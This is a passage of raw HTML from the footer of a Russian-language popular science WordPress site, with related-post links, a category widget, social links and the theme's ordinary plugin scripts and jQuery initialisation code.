褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/emissiya-co2-ot-topliva-i-tsementa.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/vote/" rel="bookmark" title="袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪">袚谢芯斜邪谢褜薪芯械 锌芯褌械锌谢械薪懈械 &#8212; 屑懈褎褘, 蟹邪斜谢褍卸写械薪懈褟, 褎邪泻褌褘 懈 褔械屑 屑芯卸械褌 谐褉芯蟹懈褌褜 锌芯褌械锌谢械薪懈械 泻谢懈屑邪褌邪</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T12:38:02+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-"> <div class="td-image-container"> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" class="td-image-wrap " title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/new-armored-audi-a8.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security">袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T12:28:15+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> </div></div></div></div></div><div class="vc_column_inner tdi_95 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_95{vertical-align:baseline}.tdi_95 .vc_column-inner>.wpb_wrapper,.tdi_95 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_95 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap td_block_popular_categories tdi_96 widget widget_categories td-pb-border-top td_block_template_2" data-td-block-uid="tdi_96" > <style>.td-theme-wrap .tdi_96 .td-block-title>*,.td-theme-wrap .tdi_96 .td-pulldown-filter-link:hover,.td-theme-wrap .tdi_96 .td-subcat-item a:hover,.td-theme-wrap .tdi_96 .td-subcat-item .td-cur-simple-item,.td-theme-wrap .tdi_96 .td-subcat-dropdown:hover .td-subcat-more span,.td-theme-wrap .tdi_96 .td-subcat-dropdown:hover .td-subcat-more i{color:#ffffff}.td-theme-wrap .tdi_96 .td-subcat-dropdown ul:after{background-color:#ffffff}.td-theme-wrap .tdi_96 .td_module_wrap:hover .entry-title a,.td-theme-wrap .tdi_96 .td_quote_on_blocks,.td-theme-wrap .tdi_96 .td-opacity-cat .td-post-category:hover,.td-theme-wrap .tdi_96 .td-opacity-read .td-read-more a:hover,.td-theme-wrap .tdi_96 .td-opacity-author .td-post-author-name a:hover,.td-theme-wrap .tdi_96 .td-instagram-user a{color:#ffffff}.td-theme-wrap .tdi_96 .td-next-prev-wrap a:hover,.td-theme-wrap .tdi_96 .td-load-more-wrap a:hover{background-color:#ffffff;border-color:#ffffff}.td-theme-wrap .tdi_96 .td-read-more a,.td-theme-wrap .tdi_96 .td-weather-information:before,.td-theme-wrap .tdi_96 .td-weather-week:before,.td-theme-wrap .tdi_96 .td-exchange-header:before,.td-theme-wrap .td-footer-wrapper .tdi_96 .td-post-category,.td-theme-wrap .tdi_96 .td-post-category:hover{background-color:#ffffff}@media (min-width:768px) and (max-width:1018px){.tdi_96{margin-bottom:20px!important}}</style> <style>.td_block_popular_categories{padding-bottom:0}.tdi_96 .td-cat-name{color:#ffffff}.tdi_96 .td-cat-no{color:#ffffff}.tdi_96 li:hover .td-cat-name{color:#4db2ec}.tdi_96 li:hover .td-cat-no{color:#4db2ec}.tdi_96 .td-block-title a,.tdi_96 .td-block-title span{font-size:18px!important}@media (min-width:768px) and (max-width:1018px){.tdi_96 li{font-size:13px!important;line-height:26px!important}}</style><div class="td-block-title-wrap"><h4 class="td-block-title"><span class="td-pulldown-size">袩芯锌褍谢褟褉薪褘械 泻邪褌械谐芯褉懈懈</span></h4></div><ul class="td-pb-padding-side"><li><a href="https://www.sciencedebate2008.com/category/interes/"><span class="td-cat-name">袠薪褌械褉械褋薪芯</span><span class="td-cat-no">5419</span></a></li><li><a href="https://www.sciencedebate2008.com/category/stati/"><span class="td-cat-name">小褌邪褌褜懈</span><span class="td-cat-no">2230</span></a></li><li><a href="https://www.sciencedebate2008.com/category/photocoss/"><span class="td-cat-name">肖芯褌芯 泻芯褋屑芯褋邪</span><span class="td-cat-no">1999</span></a></li><li><a href="https://www.sciencedebate2008.com/category/gallerya/"><span class="td-cat-name">袚邪谢械褉械褟 褋邪泄褌邪</span><span class="td-cat-no">1068</span></a></li><li><a href="https://www.sciencedebate2008.com/category/news/"><span class="td-cat-name">袧芯胁芯褋褌懈 薪邪褍泻懈</span><span class="td-cat-no">139</span></a></li><li><a href="https://www.sciencedebate2008.com/category/human/"><span class="td-cat-name">效械谢芯胁械泻</span><span class="td-cat-no">118</span></a></li><li><a href="https://www.sciencedebate2008.com/category/medicine/"><span class="td-cat-name">袦械写懈褑懈薪邪</span><span class="td-cat-no">111</span></a></li><li><a href="https://www.sciencedebate2008.com/category/it/"><span class="td-cat-name">IT-褌械褏薪芯谢芯谐懈懈</span><span class="td-cat-no">98</span></a></li></ul></div></div></div></div></div><div class="vc_row_inner tdi_98 vc_row vc_inner wpb_row td-pb-row" > <style scoped>.tdi_98{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_98,.tdi_98 .tdc-inner-columns{display:block}.tdi_98 .tdc-inner-columns{width:100%}</style><div class="vc_column_inner tdi_100 wpb_column vc_column_container tdc-inner-column td-pb-span12"> <style scoped>.tdi_100{vertical-align:baseline}.tdi_100 .vc_column-inner>.wpb_wrapper,.tdi_100 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_100 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}@media (min-width:768px) and (max-width:1018px){.tdi_100{margin-bottom:0px!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_102 td_separator_solid td_separator_center"><span style="border-color:rgba(255,255,255,0.1);border-width:1px;width:80%;"></span> <style scoped>@media (min-width:768px) and (max-width:1018px){.tdi_102{margin-bottom:20px!important}}</style></div></div></div></div></div><div class="vc_row_inner tdi_104 vc_row vc_inner wpb_row td-pb-row" > <style scoped>.tdi_104{position:relative!important;top:0;transform:none;-webkit-transform:none}.tdi_104,.tdi_104 .tdc-inner-columns{display:block}.tdi_104 .tdc-inner-columns{width:100%}.tdi_104{padding-bottom:30px!important}.tdi_104 .td_block_wrap{text-align:left}@media (min-width:768px) and (max-width:1018px){.tdi_104{padding-bottom:20px!important}}</style><div class="vc_column_inner tdi_106 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_106{vertical-align:baseline}.tdi_106 .vc_column-inner>.wpb_wrapper,.tdi_106 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_106 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_106{width:25%!important}@media (max-width:767px){.tdi_106{margin-bottom:50px!important;width:100%!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_107 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_107" > <style>.tdi_107{margin-top:37px!important}@media (min-width:768px) and (max-width:1018px){.tdi_107{margin-top:44px!important}}@media (max-width:767px){.tdi_107{margin-top:0px!important}}</style> <style>.tdi_107 .tdb-logo-a,.tdi_107 h1{flex-direction:row}.tdi_107 .tdb-logo-a,.tdi_107 h1{align-items:flex-start;justify-content:center}.tdi_107 .tdb-logo-svg-wrap{display:block}.tdi_107 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_107 .tdb-logo-img-wrap{display:block}.tdi_107 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_107 .tdb-logo-text-title{display:block}.tdi_107 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_107 .tdb-logo-icon{top:0px;display:block}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://www.sciencedebate2008.com/"><span class="tdb-logo-img-wrap"><img class="tdb-logo-img td-retina-data" data-retina="https://www.sciencedebate2008.com/wp-content/uploads/logo-white.png" src="https://www.sciencedebate2008.com/wp-content/uploads/logo-white.png" alt="Logo" title="" width="272" height="90" /></span></a></div></div> <!-- ./block --></div></div></div><div class="vc_column_inner tdi_109 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_109{vertical-align:baseline}.tdi_109 .vc_column-inner>.wpb_wrapper,.tdi_109 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_109 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}.tdi_109{width:41.66666667%!important}@media (max-width:767px){.tdi_109{margin-bottom:50px!important;width:100%!important;justify-content:center!important;text-align:center!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_110 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_110" > <style>@media (max-width:767px){.tdi_110{justify-content:center!important;text-align:center!important}}</style> <style>.tdm_block_column_title{margin-bottom:0;display:inline-block;width:100%}</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> <style>body .tdi_111 .tdm-title{color:#ffffff}.tdi_111 .tdm-title{font-size:18px!important;line-height:1!important;font-weight:700!important}</style><div class="tds-title tds-title1 td-fix-index tdi_111 "><h3 class="tdm-title tdm-title-md">袨 薪邪褋</h3></div></div></div></div><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_112 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_112" > <style>@media (max-width:767px){.tdi_112{justify-content:center!important;text-align:center!important}}</style> <style>.tdm_block.tdm_block_inline_text{margin-bottom:0;vertical-align:top}.tdm_block.tdm_block_inline_text .tdm-descr{margin-bottom:0;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdc-row-content-vert-center .tdm-inline-text-yes{vertical-align:middle}.tdc-row-content-vert-bottom .tdm-inline-text-yes{vertical-align:bottom}.tdi_112{text-align:left!important}.tdi_112 .tdm-descr{color:#eaeaea;font-size:14px!important;line-height:1.6!important}@media (min-width:768px) and (max-width:1018px){.tdi_112 .tdm-descr{font-size:13px!important}}</style><p class="tdm-descr">袩褉芯械泻褌 ScienceDebate2008.com 褟胁谢褟械褌褋褟 薪邪褍褔薪芯-锌芯锌褍谢褟褉薪褘屑 锌械褉懈芯写懈褔械褋泻懈屑 懈蟹写邪薪懈械屑, 锌褉懈蟹胁邪薪薪褘屑 芯褋胁械褖邪褌褜 薪芯胁褘械 褌械褏薪芯谢芯谐懈懈 懈 锌芯屑芯谐邪褌褜 写械谢邪褌褜 薪邪褕褍 卸懈蟹薪褜 谢褍褔褕械</p></div></div></div></div><div class="vc_column_inner tdi_114 wpb_column vc_column_container tdc-inner-column td-pb-span4"> <style scoped>.tdi_114{vertical-align:baseline}.tdi_114 .vc_column-inner>.wpb_wrapper,.tdi_114 .vc_column-inner>.wpb_wrapper .tdc-elements{display:block}.tdi_114 .vc_column-inner>.wpb_wrapper .tdc-elements{width:100%}@media (max-width:767px){.tdi_114{justify-content:center!important;text-align:center!important}}</style><div class="vc_column-inner"><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_column_title tdi_115 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_115" > <style>@media (max-width:767px){.tdi_115{justify-content:center!important;text-align:center!important}}</style><div class="td-block-row"><div class="td-block-span12 tdm-col"> <style>body .tdi_116 .tdm-title{color:#ffffff}.tdi_116 .tdm-title{font-size:18px!important;line-height:1!important;font-weight:700!important}</style><div class="tds-title tds-title1 td-fix-index tdi_116 "><h3 class="tdm-title tdm-title-md">小谢械写褍泄 蟹邪 薪邪屑懈</h3></div></div></div></div><div class="tdm_block td_block_wrap tdm_block_socials tdi_117 tdm-content-horiz-left td-pb-border-top td_block_template_1" data-td-block-uid="tdi_117" > <style>@media (max-width:767px){.tdi_117{justify-content:center!important;text-align:center!important}}</style> <style></style> <style>.tdi_118 .tdm-social-item i{font-size:14px;vertical-align:middle}.tdi_118 .tdm-social-item i.td-icon-linkedin,.tdi_118 .tdm-social-item i.td-icon-pinterest,.tdi_118 .tdm-social-item i.td-icon-blogger,.tdi_118 .tdm-social-item i.td-icon-vimeo{font-size:11.2px}.tdi_118 .tdm-social-item{width:39.2px;height:39.2px;margin:5px 10px 5px 0;background:rgba(255,255,255,0.03)}.tdi_118 .tdm-social-item i{line-height:39.2px}.tdi_118 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_118 .tdm-social-item i,.tds-team-member2 .tdi_118.tds-social4 .tdm-social-item i{color:#ffffff}.tdi_118 .tdm-social-item-wrap:hover i,body .tds-team-member2 .tdi_118.tds-social4 .tdm-social-item-wrap:hover i{color:#4db2ec}body .tdi_118 .tdm-social-item{border:1px solid rgba(255,255,255,0.03)}.tdi_118 .tdm-social-text{display:none;margin-left:2px;margin-right:18px}@media (min-width:1019px) and (max-width:1140px){body .tdi_118 .tdm-social-item{border:1px solid rgba(255,255,255,0.03)}}@media (min-width:768px) and (max-width:1018px){.tdi_118 .tdm-social-item{width:35px;height:35px}.tdi_118 .tdm-social-item i{line-height:35px}body .tdi_118 .tdm-social-item{border:1px solid rgba(255,255,255,0.03)}}@media (max-width:767px){body .tdi_118 .tdm-social-item{border:1px solid rgba(255,255,255,0.03)}}</style><div class="tdm-social-wrapper tds-social4 tdi_118"><div class="tdm-social-item-wrap"><a href="https://www.facebook.com/sciencedebate2008" title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="https://twitter.com/sciencedebate08" title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div><div class="tdm-social-item-wrap"><a href="https://vk.com/sciencedebates" title="VKontakte" class="tdm-social-item"><i class="td-icon-font td-icon-vk"></i><span style="display: none">VKontakte</span></a></div></div></div></div></div></div></div></div></div></div></div><div id="tdi_119" class="tdc-row stretch_row"><div class="vc_row tdi_120 wpb_row td-pb-row tdc-element-style" > <style scoped>.tdi_120,.tdi_120 .tdc-columns{min-height:0}.tdi_120,.tdi_120 .tdc-columns{display:block}.tdi_120 .tdc-columns{width:100%}.tdi_120{position:relative}.tdi_120 .td_block_wrap{text-align:left}@media (max-width:767px){.tdi_120{padding-top:6px!important;padding-bottom:6px!important}}</style> <div class="tdi_119_rand_style td-element-style" ><style>.tdi_119_rand_style{background-color:#0d0d0d!important}</style></div><div class="vc_column tdi_122 wpb_column vc_column_container tdc-column td-pb-span6"> <style scoped>.tdi_122{vertical-align:baseline}.tdi_122>.wpb_wrapper,.tdi_122>.wpb_wrapper>.tdc-elements{display:block}.tdi_122>.wpb_wrapper>.tdc-elements{width:100%}.tdi_122>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_122>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_inline_text tdi_123 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_123" > <style>.tdi_123{margin-top:2px!important;margin-bottom:0px!important;padding-top:8px!important;padding-bottom:8px!important}@media (max-width:767px){.tdi_123{margin-top:0px!important;justify-content:center!important;text-align:center!important}}</style> <style>.tdi_123{text-align:left!important}.tdi_123 .tdm-descr{color:#cccccc;font-size:12px!important;line-height:21px!important}</style><p class="tdm-descr">漏 2023 - Science Debate - 薪邪褍褔薪芯-锌芯锌褍谢褟褉薪褘械 薪芯胁芯褋褌懈</p></div></div></div><div class="vc_column tdi_125 wpb_column vc_column_container tdc-column td-pb-span6"> <style scoped>.tdi_125{vertical-align:baseline}.tdi_125>.wpb_wrapper,.tdi_125>.wpb_wrapper>.tdc-elements{display:block}.tdi_125>.wpb_wrapper>.tdc-elements{width:100%}.tdi_125>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_125>.wpb_wrapper{width:auto;height:auto}.tdi_125{justify-content:flex-end!important;text-align:right!important}@media (max-width:767px){.tdi_125{justify-content:center!important;text-align:center!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap td_block_list_menu tdi_126 td-blm-display-horizontal td-pb-border-top td_block_template_1 widget" data-td-block-uid="tdi_126" > <style>.tdi_126{margin-bottom:0px!important;padding-top:8px!important;padding-bottom:8px!important}@media(min-width:1141px){.tdi_126{display:inline-table!important}}@media (max-width:767px){.tdi_126{margin-left:16px!important;justify-content:center!important;text-align:center!important;display:inline-table!important}}@media (min-width:768px) and (max-width:1018px){.tdi_126{display:inline-table!important}}@media (min-width:1019px) and (max-width:1140px){.tdi_126{display:inline-table!important}}</style> <style>body .tdi_126 ul{text-align:left;justify-content:flex-start}body .tdi_126 ul li a{justify-content:flex-start}body .tdi_126 .td-blm-menu-item-txt{flex-grow:1}body .tdi_126 ul{margin:0px}body .tdi_126 ul li{margin-right:16px}body .tdi_126 ul li:last-child{margin-right:0}body .tdi_126 a,body .tdi_126 .td-blm-sub-icon{color:#cccccc}body .tdi_126 li.current-menu-item>a,body .tdi_126 li.current-menu-ancestor>a,body .tdi_126 li.current-category-ancestor>a,body .tdi_126 li.current-page-ancestor>a,body .tdi_126 a:hover,body .tdi_126 li.current-menu-item>a>.td-blm-sub-icon,body .tdi_126 li.current-menu-ancestor>a>.td-blm-sub-icon,body .tdi_126 li.current-category-ancestor>a>.td-blm-sub-icon,body .tdi_126 li.current-page-ancestor>a>.td-blm-sub-icon,body .tdi_126 a:hover>.td-blm-sub-icon{color:#1aa4ce}body .tdi_126 li{font-size:12px!important;line-height:21px!important}</style><div class="td-block-title-wrap"></div><div id=tdi_126 class="td_block_inner td-fix-index"><div class="menu-%d0%ba%d0%b0%d1%82%d0%b5%d0%b3%d0%be%d1%80%d0%b8%d0%b8-container"><ul id="menu-%d0%ba%d0%b0%d1%82%d0%b5%d0%b3%d0%be%d1%80%d0%b8%d0%b8-1" class="menu"><li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-11549"><a href="https://www.sciencedebate2008.com/category/news/"><span class="td-blm-menu-item-txt">袧芯胁芯褋褌懈 薪邪褍泻懈</span></a></li> <li class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-11556"><a href="https://www.sciencedebate2008.com/category/basic-science/"><span class="td-blm-menu-item-txt">肖褍薪写邪屑械薪褌邪谢褜薪邪褟 薪邪褍泻邪</span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11562"><a href="https://www.sciencedebate2008.com/www/"><span class="td-blm-menu-item-txt">袨 锌褉芯械泻褌械</span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-11561"><a href="https://www.sciencedebate2008.com/site-map/"><span class="td-blm-menu-item-txt">袣邪褉褌邪 褋邪泄褌邪</span></a></li> </ul></div></div></div></div></div></div></div></div></div> </div> </div> <style>.tdc-footer-template .td-main-content-wrap{padding-bottom:0}</style> </div><!--close td-outer-wrap--> <!-- Theme: Newspaper by tagDiv.com 2023 Version: 12.6.2 (rara) Deploy mode: deploy uid: 6749d2f294587 --> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js" id="swv-js"></script> <script type="text/javascript" id="contact-form-7-js-extra"> /* <![CDATA[ */ var wpcf7 = {"api":{"root":"https:\/\/www.sciencedebate2008.com\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"}; /* ]]> */ </script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/contact-form-7/includes/js/index.js" id="contact-form-7-js"></script> <script type="text/javascript" id="wp-postratings-js-extra"> /* <![CDATA[ */ var ratingsL10n = {"plugin_url":"https:\/\/www.sciencedebate2008.com\/wp-content\/plugins\/wp-postratings","ajax_url":"https:\/\/www.sciencedebate2008.com\/wp-admin\/admin-ajax.php","text_wait":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u043d\u0435 \u0433\u043e\u043b\u043e\u0441\u0443\u0439\u0442\u0435 \u0437\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e.","image":"stars_crystal","image_ext":"gif","max":"5","show_loading":"1","show_fading":"1","custom":"0"}; var ratings_mouseover_image=new Image();ratings_mouseover_image.src="https://www.sciencedebate2008.com/wp-content/plugins/wp-postratings/images/stars_crystal/rating_over.gif";; /* ]]> */ </script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/wp-postratings/js/postratings-js.js" id="wp-postratings-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-includes/js/underscore.min.js" id="underscore-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-cloud-library/assets/js/js_posts_autoload.min.js" id="tdb_js_posts_autoload-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tagdiv_theme.min.js" id="td-site-min-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js" id="tdPostImages-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSocialSharing.js" id="tdSocialSharing-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdModalPostImages.js" id="tdModalPostImages-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-includes/js/comment-reply.min.js" id="comment-reply-js" async="async" data-wp-strategy="async"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js" id="tdb_js_files_for_front-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoadingBox.js?ver=12.6.2" id="tdLoadingBox-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-cloud-library/assets/js/tdbMenu.js?ver=34c58173fa732974ccb0ca4df5ede162" id="tdbMenu-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdInfiniteLoader.js?ver=12.6.2" id="tdInfiniteLoader-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLoginMobile.js?ver=12.6.2" id="tdLoginMobile-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdAjaxSearch.js?ver=12.6.2" id="tdDatei18n-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-cloud-library/assets/js/tdbSearch.js?ver=34c58173fa732974ccb0ca4df5ede162" id="tdbSearch-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdMenu.js?ver=12.6.2" id="tdMenu-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdLogin.js?ver=12.6.2" id="tdLogin-js"></script> <script type="text/javascript" src="https://www.sciencedebate2008.com/wp-content/plugins/td-composer/legacy/Newspaper/js/tdSmartSidebar.js?ver=12.6.2" id="tdSmartSidebar-js"></script> <!-- JS generated by theme --> <script> /* global jQuery:{} */ jQuery(document).ready( function () { var tdbMenuItem = new tdbMenu.item(); tdbMenuItem.blockUid = 'tdi_1'; tdbMenuItem.jqueryObj = jQuery('.tdi_1'); tdbMenuItem.isMegaMenuFull = true; tdbMenuItem.megaMenuLoadType = ''; tdbMenu.addItem(tdbMenuItem); }); /* global jQuery:{} */ jQuery(document).ready( function () { var tdbMenuItem = new tdbMenu.item(); tdbMenuItem.blockUid = 'tdi_4'; tdbMenuItem.jqueryObj = jQuery('.tdi_4'); tdbMenuItem.isMegaMenuFull = true; tdbMenuItem.megaMenuLoadType = ''; tdbMenu.addItem(tdbMenuItem); }); jQuery().ready(function () { var blockClass = '.tdi_21'; jQuery(blockClass + '.tdb-horiz-menu-singleline > .menu-item-has-children a').click(function (e) { e.preventDefault(); }) }); /* global jQuery:{} */ jQuery(document).ready( function () { var tdbMenuItem = new tdbMenu.item(); tdbMenuItem.blockUid = 'tdi_40'; tdbMenuItem.jqueryObj = jQuery('.tdi_40'); tdbMenuItem.isMegaMenuFull = true; tdbMenuItem.megaMenuLoadType = ''; tdbMenu.addItem(tdbMenuItem); }); jQuery().ready(function () { var tdbSearchItem = new tdbSearch.item(); //block unique ID tdbSearchItem.blockUid = 'tdi_43'; tdbSearchItem.blockAtts = '{"inline":"yes","toggle_txt_pos":"after","form_align":"content-horiz-right","results_msg_align":"content-horiz-center","image_floated":"float_left","image_width":"30","image_size":"td_324x400","show_cat":"none","show_btn":"none","show_date":"","show_review":"","show_com":"none","show_excerpt":"none","show_author":"none","art_title":"0 0 2px 0","all_modules_space":"20","tdicon":"td-icon-magnifier-big-rounded","icon_size":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTgifQ==","tdc_css":"eyJhbGwiOnsiZGlzcGxheSI6IiJ9LCJwb3J0cmFpdCI6eyJtYXJnaW4tdG9wIjoiMSIsImRpc3BsYXkiOiIifSwicG9ydHJhaXRfbWF4X3dpZHRoIjoxMDE4LCJwb3J0cmFpdF9taW5fd2lkdGgiOjc2OH0=","modules_on_row":"eyJhbGwiOiI1MCUiLCJwb3J0cmFpdCI6IjUwJSIsImxhbmRzY2FwZSI6IjUwJSJ9","meta_info_horiz":"content-horiz-left","form_width":"600","input_border":"0 0 1px 0","modules_divider":"","form_padding":"eyJwb3J0cmFpdCI6IjIwcHggMjBweCAyMHB4IiwiYWxsIjoiMzBweCJ9","arrow_color":"#ffffff","btn_bg_h":"rgba(0,0,0,0)","btn_tdicon":"td-icon-menu-right","btn_icon_pos":"after","btn_icon_size":"7","btn_icon_space":"8","f_title_font_family":"","f_cat_font_family":"","f_cat_font_transform":"uppercase","f_title_font_weight":"","f_title_font_transform":"","f_title_font_size":"13","title_txt_hover":"#4db2ec","results_limit":"6","float_block":"yes","icon_color":"#000000","results_border":"0 0 1px 0","f_title_font_line_height":"1.4","btn_color":"#000000","btn_color_h":"#4db2ec","all_underline_color":"","results_msg_color_h":"#4db2ec","image_height":"100","meta_padding":"3px 0 0 16px","modules_gap":"20","mc1_tl":"12","show_form":"yes","f_meta_font_weight":"","h_effect":"","results_msg_padding":"10px 0","f_results_msg_font_style":"normal","video_icon":"24","modules_divider_color":"","modules_border_color":"","btn_padding":"0","form_border":"0","form_shadow_shadow_offset_vertical":"3","results_padding":"0 30px 30px","btn_bg":"rgba(0,0,0,0)","icon_padding":"eyJhbGwiOjIuNCwicG9ydHJhaXQiOiIyLjYifQ==","block_type":"tdb_header_search","post_type":"","disable_trigger":"","show_results":"yes","separator":"","disable_live_search":"","exclude_pages":"","exclude_posts":"","search_section_header":"","results_section_1_title":"","results_section_1_taxonomies":"","results_section_1_level":"","results_section_2_title":"","results_section_2_taxonomies":"","results_section_2_level":"","results_section_3_title":"","results_section_3_taxonomies":"","results_section_3_level":"","results_section_search_query_terms":"","results_section_search_query_terms_title":"","results_section_search_query_terms_taxonomies":"","sec_title_space":"","sec_title_color":"","tax_space":"","tax_title_color":"","tax_title_color_h":"","f_sec_title_font_header":"","f_sec_title_font_title":"Section title text","f_sec_title_font_settings":"","f_sec_title_font_family":"","f_sec_title_font_size":"","f_sec_title_font_line_height":"","f_sec_title_font_style":"","f_sec_title_font_weight":"","f_sec_title_font_transform":"","f_sec_title_font_spacing":"","f_sec_title_":"","f_tax_title_font_title":"Taxonomy title 